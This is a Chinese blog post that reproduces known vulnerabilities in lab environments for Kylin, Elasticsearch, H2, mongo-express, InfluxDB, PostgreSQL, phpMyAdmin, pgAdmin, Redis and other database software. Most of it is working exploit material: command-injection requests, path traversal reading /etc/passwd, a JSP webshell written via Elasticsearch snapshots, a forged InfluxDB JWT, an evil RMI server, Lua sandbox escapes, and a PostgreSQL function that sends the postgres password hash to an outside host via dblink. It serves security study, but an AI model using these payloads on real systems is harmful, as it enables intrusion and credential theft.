注意看这几行代码

{3}
String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " "); CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor(); Pair<Integer, String> cmdOutput = executor.execute(diagCmd);

与 Apache Kylin 命令注入漏洞CVE-2020-1956类似,同样也是经过execute函数,而digCmd同样也是经过了命令拼接

{29-31}
private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException { SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd); SSHClientOutput sshOutput; try { sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender); int exitCode = sshOutput.getExitCode(); String output = sshOutput.getText(); return Pair.newPair(exitCode, output); } catch (IOException e) { throw e; } catch (Exception e) { throw new IOException(e.getMessage(), e); } } private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException { String[] cmd = new String[3]; String osName = System.getProperty("os.name"); if (osName.startsWith("Windows")) { cmd[0] = "cmd.exe"; cmd[1] = "/C"; } else { cmd[0] = "/bin/bash"; cmd[1] = "-c"; } cmd[2] = command; ProcessBuilder builder = new ProcessBuilder(cmd); builder.redirectErrorStream(true); Process proc = builder.start(); BufferedReader reader = new BufferedReader( new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8)); String line; StringBuilder result = new StringBuilder(); while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) { result.append(line).append('\n'); if (logAppender != null) { logAppender.log(line); } } if (Thread.interrupted()) { logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command); proc.destroy(); try { Thread.sleep(1000); } catch (InterruptedException e) { // do nothing } return Pair.newPair(1, "Killed"); } try { int exitCode = proc.waitFor(); return Pair.newPair(exitCode, result.toString()); } catch (InterruptedException e) { Thread.currentThread().interrupt(); throw new IOException(e); } } }

这样我们就可以通过控制 {project} 请求就可以造成命令注入

/kylin/api/diag/project/{project}/download
/kylin/api/diag/project/||ping `whoami.111.111.111`||/download

拼接后则出现

/home/admin/apache-kylin-3.0.1-bin-hbase1x/bin/diag.sh {project} {diagDir}

这里通过报错语句可以回显命令验证漏洞存在

throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);

img

在修复中,过滤了||,&&等符号,造成无法命令注入

img

漏洞通报中共两个利用点

/kylin/api/diag/project/{project}/download  
/kylin/api/diag/job/{jobId}/download

查看函数发现利用方式相同,直接利用job会失败,因为 {project}默认有一个learn_kylin,而job没有

image-20240812175821947

ClickHouse

ClickHouse API 数据库接口未授权访问漏洞

漏洞描述

ClickHouse API 数据库接口存在未授权访问漏洞,攻击者通过漏洞可以执行任意SQL命令获取数据库数据

漏洞影响

ClickHouse

网络测绘

“ClickHouse” && body=”ok”

漏洞复现

登录页面

img

执行SQL语句

img

/?query=SELECT%20*%20FROM%20system.query_thread_log%20LIMIT%201%20FORMAT%20Vertical

image-20240810114758138

elasticsearch

CVE-2014-3120

ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境

jre版本:openjdk:8-jre

elasticsearch版本:v1.1.1

原理

相关文档:http://bouk.co/blog/elasticsearch-rce/https://www.t00ls.net/viewthread.php?tid=29408

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。

MVEL执行命令的代码如下:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

漏洞测试

编译及运行环境:

docker compose build
docker compose up -d

将Java代码放入json中:

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }

首先,该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据:

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "phithon"
}

然后,执行任意代码:

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

结果如图:

image-20240805110227202

CVE-2015-1427

ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)测试环境

jre版本:openjdk:8-jre

elasticsearch版本:v1.4.2

原理

参考文章:

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。

Groovy语言“沙盒”

ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本,但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法:

  1. 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
  2. Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言

所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。

Java沙盒绕过法:

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy直接执行命令法:

def command='id';def res=command.execute().text;res

漏洞测试

编译及运行测试环境

docker compose build
docker compose up -d

由于查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据:

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

然后发送包含payload的数据包,执行任意命令:

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

image-20240805110301349

CVE-2015-3337

ElasticSearch 目录穿越漏洞(CVE-2015-3337)测试环境

jre版本:openjdk:8-jre

elasticsearch版本:v1.4.4

影响版本:1.4.5以下/1.5.2以下

原理

在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

测试环境

编译及运行测试环境

docker compose build
docker compose up -d

测试环境默认安装了一个插件:elasticsearch-head,主页在此:https://github.com/mobz/elasticsearch-head

访问http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd读取任意文件(不要在浏览器访问):

head插件

head插件提供了elasticsearch的前端页面,访问 http://your-ip:9200/_plugin/head/ 即可看到,不多说了。

CVE-2015-5531

ElasticSearch 目录穿越漏洞(CVE-2015-5531)

jre版本:openjdk:8-jre

elasticsearch版本:v1.6.0

影响版本:1.6.1以下

原理

参考文章

说明:

elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

漏洞复现

1. 新建一个仓库
PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

2. 创建一个快照
PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

3. 目录穿越读取任意文件

访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

如上图,在错误信息中包含文件内容(编码后),对其进行解码即可获得文件:

image-20240805110414752

WooYun-2015-110216

Elasticsearch写入webshell漏洞(WooYun-2015-110216)

参考文章: http://cb.drops.wiki/bugs/wooyun-2015-0110216.html

原理

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。

所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

测试环境

编译与启动测试环境:

docker compose build
docker compose up -d

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch

我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。

测试流程

首先创建一个恶意索引文档:

curl -XPOST http://127.0.0.1:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'

再创建一个恶意的存储库,其中location的值即为我要写入的路径。

园长:这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

curl -XPUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{
     "type": "fs",
     "settings": {
          "location": "/usr/local/tomcat/webapps/wwwroot/",
          "compress": false
     }
}'

存储库验证并创建:

curl -XPUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{
     "indices": "yz.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}'

完成!

访问http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp,这就是我们写入的webshell。

该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success,我们再访问/wwwroot/test.jsp就能看到success了:

image-20240805110608654

h2database

h2-console-unacc

H2 Database Console 未授权访问

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个Springboot + h2database环境:

docker compose up -d

启动后,访问http://your-ip:8080/h2-console/即可查看到H2 database的管理页面。

漏洞复现

目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考《Exploiting JNDI Injections in Java》,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令。

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

我们可以借助这个小工具JNDI简化我们的复现过程。

首先设置JNDI工具中执行的命令为touch /tmp/success

然后启动JNDI-1.0-all.jar,在h2 console页面填入JNDI类名和URL地址:

其中,javax.naming.InitialContext是JNDI的工厂类,URL rmi://evil:23456/BypassByEL是运行JNDI工具监听的RMI地址。

点击连接后,恶意RMI成功接收到请求:

touch /tmp/success已成功执行:

image-20240805110708099

mongo-express

CVE-2019-10758

mongo-express 远程代码执行漏洞(CVE-2019-10758)

mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。

漏洞环境

执行如下命令启动一个0.53.0版本的mongo-express:

docker compose up -d

环境启动后,访问http://your-ip:8081即可查看到Web页面。

漏洞复现

直接发送如下数据包,即可执行代码this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

POST /checkValid HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

image-20240805111231932

influxdb

InfluxDB JWT 认证绕过漏洞(CVE-2019-20933)

InfluxDB是一款著名的时序数据库,其使用jwt作为鉴权方式。

在其1.7.6版本以前,默认设置jwt的认证密钥shared-secret为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。

参考链接:

漏洞环境

执行如下命令启动InfluxDB 1.6.6:

docker compose up -d

环境启动后,访问http://your-ip:8086/debug/vars即可查看一些服务信息,但此时执行SQL语句则会出现401错误:

漏洞复现

我们借助https://jwt.io/来生成jwt token:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 1676346267
}

其中,admin是一个已经存在的用户,exp是一个时间戳,代表着这个token的过期时间,你需要设置为一个未来的时间戳。

最终生成的token:

发送带有这个jwt token的数据包,可见SQL语句执行成功:

POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

db=sample&q=show+users

image-20240805110743948

mysql

CVE-2012-2122

Mysql 身份认证绕过漏洞(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

参考链接:

环境搭建

经过测试,本环境虽然运行在容器内部,但漏洞是否能够复现仍然与宿主机有一定关系。宿主机最好选择Ubuntu或Mac系统,但也不知道是否一定能够成功,欢迎在Issue中提交更多测试结果。

执行如下命令启动测试环境:

docker compose up -d

环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。

漏洞验证

在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

更多测试和利用方法,见参考链接。

neo4j

CVE-2021-34371

Neo4j Shell Server 反序列化漏洞(CVE-2021-34371)

Neo4j是一个开源图数据库管理系统。

在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。

在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。

参考链接:

漏洞环境

如果你使用Linux或OSX系统,可以执行如下命令启动一个Neo4j 3.4.18:

TARGET_IP=<your-ip> docker compose up -d

其中,环境变量TARGET_IP需要制定靶场环境的IP地址。

如果你是Windows系统,请直接修改docker-compose.yml,指定TARGET_IP环境变量的值。

服务启动后,访问http://your-ip:7474即可查看到Web管理页面,但我们需要攻击的是其1337端口,这个端口是Neo4j Shell端口,使用RMI协议通信。

漏洞复现

使用参考链接中的Java RMI客户端,集成基于Rhino的Gadget,发送RMI请求:

可见,touch /tmp/success5已成功执行:

image-20240805110904259

postgres

CVE-2018-1058

PostgreSQL 提权漏洞(CVE-2018-1058)

PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

参考链接:

漏洞环境

启动存在漏洞的环境:

docker compose up -d

环境启动后,将在本地开启PG默认的5432端口。

漏洞复现

参考上述链接中的第二种利用方式,我们先通过普通用户vulhub:vulhub的身份登录postgres: psql --host your-ip --username vulhub

执行如下语句后退出:

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

然后我在10.0.0.1上监听5433端口,等待超级用户触发我们留下的这个“后门”。

(假装自己是超级用户)在靶场机器下,用超级用户的身份执行pg_dump命令:docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub,导出vulhub这个数据库的内容。

执行上述命令的同时,“后门”已被触发,10.0.0.1机器上已收到敏感信息:

上述过程仅是该漏洞的一种利用方法,涉及到机器比较多可能有点乱,建议读者阅读参考链接中的文章,获取更多利用方法。

CVE-2019-9193

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

参考链接:

漏洞环境

启动存在漏洞的环境:

docker compose up -d

环境启动后,将开启Postgres默认的5432端口,默认账号密码为postgres/postgres。

漏洞复现

首先连接到postgres中,并执行参考链接中的POC:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中:

image-20240805111025982

phpmyadmin

CVE-2016-5734

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

以下版本受到影响:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

环境搭建

运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:

docker compose up -d 

启动后,访问http://your-ip:8080,即可看到phpMyAdmin的登录页面。使用root:root登录。

漏洞复现

这个功能需要登录,且能够写入数据。

因为目标环境使用root,所以我们可以创建一个临时数据库和数据表,进行漏洞利用。这里,我们使用POC https://www.exploit-db.com/exploits/40185/ 来复现漏洞。

./cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://your-ip:8080/

-d是已经可以写的数据库,-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个名为prgpwn的表。

CVE2018-12613

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

参考文档:

漏洞环境

执行如下命令,启动phpmyadmin 4.8.1:

docker compose up -d

环境启动后,访问http://your-ip:8080,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。

漏洞复现

访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:

利用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可:

image-20240805111351995

WooYun-2016-199433

phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)

phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。

环境搭建

执行如下命令启动phpmyadmin:

docker compose up -d

环境启动后,访问http://your-ip:8080,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。

漏洞复现

发送如下数据包,即可读取/etc/passwd

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

image-20240805111419868

pgadmin

CVE-2022-4223

pgAdmin <= 6.16 无授权远程命令执行漏洞(CVE-2022-4223)

pgAdmin是一个著名的PostgreSQL数据库管理平台。

pgAdmin包含一个HTTP API可以用来让用户选择并验证额外的PostgreSQL套件,比如pg_dump和pg_restore。但在其6.16版本及以前,对于用户传入的路径没有做合适的验证,导致未授权的用户可以在目标服务器上执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个pgAdmin 6.16服务器:

docker compose up -d

服务器启动后,访问http://your-ip:5050即可查看到pgAdmin默认的登录页面。

漏洞复现

在复现漏洞前,需要发送如下数据包获取CSRF token:

GET /login HTTP/1.1
Host: your-ip:5050
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Connection: close

在返回包中拿到一个新的session id和csrf token:

然后,将获取到的session id和csrf token填写进下面的数据包并发送:

POST /misc/validate_binary_path HTTP/1.1
Host: your-ip:5050
Content-Length: 27
X-pgA-CSRFToken: [csrf-token]
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: pga4_session=[session-id]
Connection: close

{"utility_path":"a\";id;#"}

可见,id命令已经被成功执行:

image-20240805111503608

CVE-2023-5002

pgAdmin <= 7.6 后台远程命令执行漏洞(CVE-2023-5002)

pgAdmin是一个著名的PostgreSQL数据库管理平台。

pgAdmin包含一个HTTP API可以用来让用户选择并验证额外的PostgreSQL套件,比如pg_dump和pg_restore。在CVE-2022-4223中,这个API可被用于执行任意命令,官方对此进行了修复,但在7.6版本及以前修复并不完全,导致后台用户仍然可以执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个pgAdmin 7.6服务器:

docker compose up -d

服务器启动后,访问http://your-ip:5050即可查看到pgAdmin默认的登录页面。

一些值得注意的事情

CVE-2023-5002是一个针对CVE-2022-4223漏洞的补丁绕过漏洞。官方发布了下面两个修复补丁修复漏洞:

  • validate_binary_path函数增加@login_required装饰器,限制未授权的用户访问相关接口
  • 使用os.path.exists()检查用户传入的路径是否有效

不幸地是,只有第二个修复补丁可以被绕过,所以该漏洞仅是一个后台命令执行漏洞。

漏洞复现

使用帐号vulhub@example.com和密码vulhub登录pgAdmin。

热爱后选择“Tools -> Storage Manager”打开文件管理器:

创建一个新的目录,名字是我们的Payload ";id;#

这个目录的完整路径是/var/lib/pgadmin/storage/vulhub_example.com/";id;#,我们后续就需要使用这个路径来利用漏洞。

选择“File -> Preferences”打开设置页面,并来到“Paths -> Binary paths”面板。在任意一个“PostgreSQL Binary Path”文本框中填入/var/lib/pgadmin/storage/vulhub_example.com/";id;#,并点击右侧的“验证”按钮:

可见,id命令被成功执行:

image-20240805111531950

redis

4-unacc

Redis 4.x/5.x 主从复制导致的命令执行

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

参考链接:

影响版本

Redis <= 5.0.5

环境搭建

执行如下命令启动redis 4.0.14:

docker compose up -d

环境启动后,通过redis-cli -h your-ip即可进行连接,可见存在未授权访问漏洞。

漏洞复现

使用这个POC即可直接执行命令:

CVE-2022-0543

Redis Lua 沙箱绕过 远程命令执行

漏洞描述

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

漏洞影响

Redis

漏洞复现

远程连接Redis, 执行POC

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

image-20240810145145999

CVE-2022-0543

Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:

docker compose up -d

服务启动后,我们可以使用redis-cli -h your-ip连接这个redis服务器。

漏洞复现

我们借助Lua沙箱中遗留的变量packageloadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

连接redis,使用eval命令执行上述脚本:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

可见命令已成功执行:

image-20240802160130290


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录